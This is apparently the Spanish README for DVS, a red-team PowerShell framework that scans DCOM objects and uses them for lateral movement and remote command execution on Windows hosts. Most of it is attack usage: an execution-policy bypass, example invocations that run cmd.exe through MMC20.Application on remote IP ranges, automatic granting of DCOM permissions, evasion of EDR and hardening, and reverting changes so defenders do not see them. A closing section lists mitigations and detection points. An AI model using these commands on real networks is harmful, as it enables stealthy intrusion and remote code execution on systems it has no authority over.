
D(COM) V(Vulnerabilidad) S(Escáner) alias navaja suiza maliciosa - Movimiento lateral usando objetos DCOM
¿Alguna vez te has preguntado cómo moverte lateralmente a través de redes internas? ¿o interactuar con máquinas remotas sin alertar a los EDR?
Supongamos que tenemos credenciales válidas, o una sesión activa con acceso a una máquina remota, pero no tenemos una opción para ejecutar un proceso de forma remota mediante un método conocido, esperado o altamente monitoreado (es decir, WMI, Programador de tareas, WinRM, PowerShell Remoting).
Para estos escenarios, el framework DVS viene al rescate.
El framework DVS es una navaja suiza que te permite enumerar funciones vulnerables de objetos DCOM remotos, lanzarlos e incluso lanzar ataques utilizándolos.
El framework se desarrolla con una mentalidad de "Red Team" y utiliza métodos sigilosos para comprometer máquinas remotas.
El framework DVS contiene varias formas de evadir el endurecimiento remoto contra DCOM, re-habilitando el acceso a DCOM de forma remota y otorgando automáticamente los permisos necesarios al usuario atacante.
El framework también puede revertir los cambios en la máquina remota a su estado original antes del ataque, ocultando estos cambios a los defensores.
Nuestra idea principal es que la herramienta también puede ejecutar comandos utilizando objetos DCOM no vulnerables mediante una técnica ingeniosa (Lea más abajo sobre Invoke-RegisterRemoteSchema)
Compatible con PowerShell 2.0 y superior
Video PoC en Youtube: DVS
Esta herramienta es solo para fines educativos y de prueba. Cualquier otro uso de este código no está permitido. Úselo bajo su propio riesgo.
El autor NO asume ninguna responsabilidad por el mal uso de esta herramienta.
Al usarla, acepta que cualquier daño causado por el uso de esta herramienta es su responsabilidad.
Acceso al registro remoto (MS-RRP)
AutoGrant está activado, verificar permisos de escritura; de lo contrario, verificar permisos de lecturaProveedor de registro estándar (Si el registro remoto está denegado)
StdRegProv es accesibleAutoGrant está activado, verificar permisos de escritura; de lo contrario, verificar permisos de lecturaLa herramienta DVS primero verifica si la identidad principal tiene acceso a la máquina remota mediante los siguientes pasos:
Acciones básicas
SkipRegAuth)
AutoGrant), de lo contrario, fallaradsi/WindowsIdentity) tienen permiso para interactuar con DCOM (a través de consultas al registro remoto)AutoGrant), de lo contrario, fallarHKLM o HKCU)Invoke-DCOMObjectScan
Get-ExecutionCommand
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Obtener detalles del comando Invoke-DCOMObjectScan
PS> Get-Help Get-ExecutionCommand -Detailed # Obtener detalles del comando Get-ExecutionCommand
PS> Get-Help Invoke-ExecutionCommand -Detailed # Obtener detalles del comando Invoke-ExecutionCommand
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Obtener detalles del comando Invoke-RegisterRemoteSchema
La función Invoke-DCOMObjectScan permite escanear objetos DCOM y encontrar funciones vulnerables a través de una lista de patrones o nombres de funciones exactos que incluya en un archivo.
Ejemplos:
Enumera y escanea el objeto MMC20.Application (ProgID) desde la máquina atacante hacia el host DC01 sin consultar el registro.
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
Nota: La herramienta no analizará los permisos ACL, y cuando tenga éxito, resolverá toda la información sobre el objeto, excepto los detalles mencionados en el registro (como nombre del objeto, archivo ejecutable, etc.).
Verifica si el objeto MMC20.Application (ProgID) es accesible desde la máquina atacante hacia el host DC01 sin consultar ni verificar primero la lista de acceso del objeto DCOM.
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
Valida si el objeto MMC20.Application (ProgID) es aplicable en el rango 10.211.55.4/24. Si existe, la herramienta intentará enumerar la información sobre él (usando la sesión actual del usuario conectado).
La función Get-ExecutionCommand permite generar un payload de PowerShell que interactuará y ejecutará la función DCOM remota con los parámetros relevantes.
Verifica si la identidad principal tiene permiso para interactuar con el objeto CLSID {00020812-0000-0000-C000-000000000046} a través de la dirección IP 10.211.55.4 usando las credenciales lab\administrator, luego genera el comando de ejecución.
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
Verifica el acceso a DCOM.
En caso de que la identidad principal no tenga los permisos necesarios o la característica DCOM esté deshabilitada, la herramienta habilitará la característica DCOM, otorgará acceso a la identidad e interactuará con el objeto MMC20.Application (ProgID) a través de la dirección IP 10.211.55.4 usando las credenciales lab\administrator, y le generará el comando de ejecución.
Finalmente, revertirá la máquina al mismo estado que antes del ataque.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
La función Invoke-ExecutionCommand permite ejecutar comandos a través de un objeto DCOM usando el usuario conectado o credenciales proporcionadas.
Ejemplos:
Verifica el acceso a DCOM.
En caso de que la identidad principal no tenga los permisos necesarios o la característica DCOM esté deshabilitada, la herramienta habilitará la característica DCOM, otorgará acceso, interactuará con el objeto MMC20.Application (ProgID) a través del rango 10.211.55.1/24 usando la sesión actual del usuario conectado y ejecutará los siguientes comandos:
Ejecuta el comando cmd.exe /c calc
Establece el atributo Frame.Top en 1
Finalmente, revierte la máquina al mismo estado que antes del ataque.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
Intenta interactuar con el objeto MMC20.Application (ProgID) usando las credenciales lab\administrator a través de la dirección IP 10.211.55.4, y ejecuta el comando: .
La función Invoke-RegisterRemoteSchema permite ejecutar comandos a través de los siguientes objetos DCOM usando el usuario conectado o credenciales proporcionadas:
Nota: Estos objetos DCOM no necesitan acceso al hive de la máquina local. ¡Pueden establecerse con cualquier usuario que pueda acceder a la máquina remota!
Ejecuta el comando cmd /c calc en el rango 10.211.55.1/24 usando la sesión actual conectada, y otorga privilegios si es necesario.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
Ejecuta el comando cmd /c calc en la máquina remota 10.211.55.4 usando credenciales proporcionadas.
PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
Técnica MITRE: T1021.003 - Remote Services: Distributed Component Object Model
Deshabilitar el acceso remoto a DCOM
No permitir el acceso al registro remoto si no es necesario
Ambas opciones son difíciles de implementar en un entorno empresarial sin afectar la disponibilidad.
No obstante, puede ser una buena opción de endurecimiento para endpoints que no necesitan administración remota de dominio (ej. endpoints independientes).
Habilitar los perfiles de dominio y privado en el Firewall de Windows Defender
Migrar al uso de LAPS para reducir la superficie de ataque. Si cada equipo en el dominio tiene una contraseña de administrador local diferente, esta cuenta no puede usarse para movimiento lateral.
Endurecer los derechos de acceso de los usuarios puede prevenir este ataque
Mediante objetos de directiva de grupo (GPO), una organización puede eliminar administradores, usuarios y otros grupos de la lista, y migrar al uso de un grupo/usuario especial para administración central que no inicia sesión interactivamente en otros equipos.
[Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
En guías de endurecimiento oficiales como CIS, la recomendación para [Access this computer from the network] es con los valores de "administradores y Usuarios de escritorio remoto o Usuarios autenticados". Estas recomendaciones son vulnerables a la herramienta DVS.
Endurecer los permisos DCOM eliminando los derechos de administradores de los permisos - Inicio remoto y Activación remota.
Monitorear cambios en el registro en las siguientes ubicaciones:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
Esta clave son las configuraciones de permisos DCOM. Si se modifican, puede significar que un adversario que usó la herramienta DVS ha eliminado el endurecimiento.
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
"Las subclaves y los valores de registro asociados con la clave [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] contienen información sobre una aplicación que se necesita para admitir la funcionalidad COM. Esta información incluye temas como formatos de datos compatibles, información de compatibilidad, identificadores programáticos, DCOM y controles." Referencia de Microsoft Dev Center
[MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
El cambio de esta clave puede indicar que la herramienta DVS ha deshabilitado las restricciones de activación remota e inicio remoto de DCOM.
Usar un firewall consciente de aplicaciones para bloquear el acceso DCOM entre equipos. Especialmente de un equipo que no forma parte de la infraestructura de TI o gestión.
Un sistema de prevención de intrusiones (ej. Snort, Suricata) puede usarse para detectar el protocolo DCOM, que se basa en RPC (MS-RPC, MS-RPCE) y el protocolo de registro remoto (MS-RRP).
Monitorear el Firewall de Windows Defender habilitando el registro de auditoría en el tráfico bloqueado para los perfiles dominio y privado.
Monitorear cambios en la siguiente clave. Puede indicar que la herramienta DVS ha creado una regla para evadir las restricciones de RPC dinámico del Firewall de Microsoft Defender.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
Valida si el CLSID {00020812-0000-0000-C000-000000000046} a través de la dirección IP 10.211.55.4 existe y es accesible. Si existe, la herramienta resolverá la información sobre él (usando las credenciales lab\administrator).
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
Escanea todos los objetos almacenados en una ruta especificada (ej. C:\Users\USERNAME\Desktop\DVS\objects.txt) a través de la dirección IP 10.211.55.4, y encuentra la lista de funciones ubicada en el archivo especificado como vulnerable.txt usando las credenciales lab\administrator con la siguiente configuración:
Profundidad máxima: 4
Resultados máximos: 1 (1 resultado por cada objeto)
Modo AutoGrant: Si no tenemos acceso al objeto o si la característica DCOM está deshabilitada, habilita la característica DCOM y realiza una concesión automática al objeto DCOM relevante.
Finalmente, revierte la máquina al mismo estado que antes del ataque.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
Escanea todos los objetos almacenados en las máquinas remotas disponibles del rango 10.211.55.1/24 y encuentra funciones potencialmente vulnerables de la lista ubicada en el archivo seleccionado (ej. C:\Users\USERNAME\Desktop\DVS\vulnerable.txt), excluye los objetos del archivo seleccionado (ej. C:\Users\USERNAME\Desktop\DVS\exclude.txt), y omite propiedades con el mismo nombre en otras rutas del mismo objeto.
NOTA: El indicador SkipSameProperyName podría pasar por alto funciones vulnerables cuando existe el mismo nombre de propiedad con diferentes preferencias (métodos/otras propiedades) o una cadena de profundidad diferente.
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Intenta interactuar con el objeto MMC20.Application (ProgID) a través del rango 10.211.55.1/24 usando la sesión actual iniciada sin analizar los permisos ACL,
luego generará el comando de ejecución.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
Intenta interactuar con el objeto MMC20.Application (ProgID) a través de la dirección IP 10.211.55.4, sin consultar el registro.
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
cmd.exe /c calc PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
Intenta interactuar con el objeto MMC20.Application (ProgID) usando la sesión actual del usuario conectado sin analizar los permisos ACL, y ejecuta el comando: cmd.exe /c calc.
PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
Usar un firewall basado en host / firewall consciente de aplicaciones para bloquear el acceso DCOM entre equipos. Especialmente para equipos que no forman parte de la infraestructura de TI o gestión.
Las reglas de control de aplicaciones pueden usarse como último círculo de controles de seguridad para evitar que procesos vulnerables inicien procesos hijos peligrosos o carguen DLL. Ejemplos:
mmc.exe -> cmd.exe
explorer.exe -> regsvr.exe
visio.exe -> wmic.exe
excel.exe -> Rundll32.exe
outlook.exe -> cmd.exe
Monitorear registros de eventos de Windows:Habilitar auditoría de eventos. Configuraciones de auditoría que deben habilitarse en caso de éxito y fallo: Audit account logon events | Audit logon events | Audit object access | NTLM Auditing
Navegue hasta esta clave de registro: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] Cree nuevos DWORDs con valor '1' llamados ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel